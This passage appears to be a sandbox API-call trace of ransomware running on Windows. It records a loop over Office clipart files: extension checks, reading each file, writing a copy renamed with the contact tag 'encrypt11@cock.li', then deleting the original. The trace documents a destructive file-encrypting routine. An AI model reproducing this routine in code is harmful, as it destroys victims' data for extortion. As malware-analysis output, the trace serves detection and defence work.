Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString=".doc") returned 4 [0156.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".docx") returned 5 [0156.817] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.817] lstrlenW (lpString=".pdf") returned 4 [0156.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".xls") returned 4 [0156.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.817] lstrlenW (lpString=".xlsx") returned 5 [0156.817] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.817] lstrlenW (lpString=".ppt") returned 4 [0156.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString=".zip") returned 4 [0156.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.817] lstrlenW (lpString=".rar") returned 4 [0156.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".bz2") returned 4 [0156.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".7z") returned 3 [0156.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString=".dbf") returned 4 [0156.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString=".1cd") returned 4 [0156.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0156.817] lstrlenW (lpString=".jpg") returned 4 [0156.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.829] GetLastError () returned 0x0 [0156.829] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x50b6, lpOverlapped=0x0) returned 1 [0156.840] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x50c0, lpOverlapped=0x0) returned 1 [0156.841] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.841] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.841] SetEndOfFile (hFile=0x358) returned 1 [0156.842] CloseHandle (hObject=0x358) returned 1 [0156.842] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.842] SetEndOfFile (hFile=0x37c) returned 1 [0156.843] CloseHandle (hObject=0x37c) returned 1 [0156.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString=".doc") returned 4 [0156.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString=".docx") returned 5 [0156.844] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.844] lstrlenW (lpString=".pdf") returned 4 [0156.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString=".xls") returned 4 [0156.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.844] lstrlenW (lpString=".xlsx") returned 5 [0156.844] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.844] lstrlenW (lpString=".ppt") returned 4 [0156.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString=".zip") returned 4 [0156.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.844] lstrlenW (lpString=".rar") returned 4 [0156.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString=".bz2") returned 4 [0156.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString=".7z") returned 3 [0156.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString=".dbf") returned 4 [0156.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString=".1cd") returned 4 [0156.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0156.844] lstrlenW (lpString=".jpg") returned 4 [0156.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.847] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.847] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.847] GetLastError () returned 0x0 [0156.847] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5eae, lpOverlapped=0x0) returned 1 [0156.861] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5eb0, lpOverlapped=0x0) returned 1 [0156.862] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.862] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.862] SetEndOfFile (hFile=0x364) returned 1 [0156.862] CloseHandle (hObject=0x364) returned 1 [0156.862] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.862] SetEndOfFile (hFile=0x39c) returned 1 [0156.863] CloseHandle (hObject=0x39c) returned 1 [0156.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0156.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.864] lstrlenW (lpString=".doc") returned 4 [0156.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.864] lstrlenW (lpString=".docx") returned 5 [0156.864] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.864] lstrlenW (lpString=".pdf") returned 4 [0156.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString=".xls") returned 4 [0156.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.865] lstrlenW (lpString=".xlsx") returned 5 [0156.865] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.865] lstrlenW (lpString=".ppt") returned 4 [0156.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.865] lstrlenW (lpString=".zip") returned 4 [0156.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.865] lstrlenW (lpString=".rar") returned 4 [0156.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString=".bz2") returned 4 [0156.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString=".7z") returned 3 [0156.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.865] lstrlenW (lpString=".dbf") returned 4 [0156.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.865] lstrlenW (lpString=".1cd") returned 4 [0156.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0156.865] lstrlenW (lpString=".jpg") returned 4 [0156.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.878] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.878] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.890] GetLastError () returned 0x0 [0156.890] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x773a, lpOverlapped=0x0) returned 1 [0156.918] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7740, lpOverlapped=0x0) returned 1 [0156.919] ReadFile (in: hFile=0x358, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.919] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.919] SetEndOfFile (hFile=0x36c) returned 1 [0156.922] CloseHandle (hObject=0x36c) returned 1 [0156.922] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.922] SetEndOfFile (hFile=0x358) returned 1 [0156.925] CloseHandle (hObject=0x358) returned 1 [0156.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0156.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString=".doc") returned 4 [0156.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString=".docx") returned 5 [0156.930] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.930] lstrlenW (lpString=".pdf") returned 4 [0156.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString=".xls") returned 4 [0156.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.930] lstrlenW (lpString=".xlsx") returned 5 [0156.930] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.930] lstrlenW (lpString=".ppt") returned 4 [0156.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString=".zip") returned 4 [0156.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.930] lstrlenW (lpString=".rar") returned 4 [0156.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString=".bz2") returned 4 [0156.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString=".7z") returned 3 [0156.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString=".dbf") returned 4 [0156.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString=".1cd") returned 4 [0156.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0156.930] lstrlenW (lpString=".jpg") returned 4 [0156.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.934] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.934] GetLastError () returned 0x0 [0156.934] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x21da, lpOverlapped=0x0) returned 1 [0156.980] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x21e0, lpOverlapped=0x0) returned 1 [0156.981] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.981] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.981] SetEndOfFile (hFile=0x37c) returned 1 [0156.981] CloseHandle (hObject=0x37c) returned 1 [0156.982] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.982] SetEndOfFile (hFile=0x364) returned 1 [0156.982] CloseHandle (hObject=0x364) returned 1 [0156.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0156.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.983] lstrlenW (lpString=".doc") returned 4 [0156.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.983] lstrlenW (lpString=".docx") returned 5 [0156.983] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.983] lstrlenW (lpString=".pdf") returned 4 [0156.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.983] lstrlenW (lpString=".xls") returned 4 [0156.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.983] lstrlenW (lpString=".xlsx") returned 5 [0156.983] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.983] lstrlenW (lpString=".ppt") returned 4 [0156.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.983] lstrlenW (lpString=".zip") returned 4 [0156.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.983] lstrlenW (lpString=".rar") returned 4 [0156.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.983] lstrlenW (lpString=".bz2") returned 4 [0156.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.983] lstrlenW (lpString=".7z") returned 3 [0156.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.983] lstrlenW (lpString=".dbf") returned 4 [0156.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.984] lstrlenW (lpString=".1cd") returned 4 [0156.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0156.984] lstrlenW (lpString=".jpg") returned 4 [0156.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.984] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.984] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.984] GetLastError () returned 0x0 [0156.984] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4724, lpOverlapped=0x0) returned 1 [0156.986] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4730, lpOverlapped=0x0) returned 1 [0156.987] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.987] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.987] SetEndOfFile (hFile=0x37c) returned 1 [0156.988] CloseHandle (hObject=0x37c) returned 1 [0156.988] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.988] SetEndOfFile (hFile=0x364) returned 1 [0156.988] CloseHandle (hObject=0x364) returned 1 [0156.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0156.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.989] lstrlenW (lpString=".doc") returned 4 [0156.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.989] lstrlenW (lpString=".docx") returned 5 [0156.989] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.989] lstrlenW (lpString=".pdf") returned 4 [0156.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.989] lstrlenW (lpString=".xls") returned 4 [0156.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.989] lstrlenW (lpString=".xlsx") returned 5 [0156.989] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.989] lstrlenW (lpString=".ppt") returned 4 [0156.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.989] lstrlenW (lpString=".zip") returned 4 [0156.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.989] lstrlenW (lpString=".rar") returned 4 [0156.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.990] lstrlenW (lpString=".bz2") returned 4 [0156.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.990] lstrlenW (lpString=".7z") returned 3 [0156.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.990] lstrlenW (lpString=".dbf") returned 4 [0156.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.990] lstrlenW (lpString=".1cd") returned 4 [0156.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0156.990] lstrlenW (lpString=".jpg") returned 4 [0156.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.990] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.990] 